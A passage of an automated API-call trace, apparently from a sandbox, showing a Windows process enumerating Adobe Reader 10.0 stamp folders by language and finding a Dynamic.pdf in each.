ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.156] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.156] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.157] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.157] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0048.157] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.157] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.157] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.158] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.158] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.158] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0048.158] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.158] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.158] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.158] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.158] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.158] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0048.158] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.159] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.159] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.159] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.159] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.159] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0048.159] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.159] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.159] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xff3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.159] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.159] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.159] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0048.160] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.160] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.160] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.160] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.160] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.160] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0048.160] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.161] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.161] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x907a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.265] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.266] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.266] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0048.266] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.266] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.267] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.267] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.267] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.267] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0048.267] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.268] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.268] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.268] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.269] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.269] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0048.269] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.369] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.369] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.370] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.424] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.424] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0048.425] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.427] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.427] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa85d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.427] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.428] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.428] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, 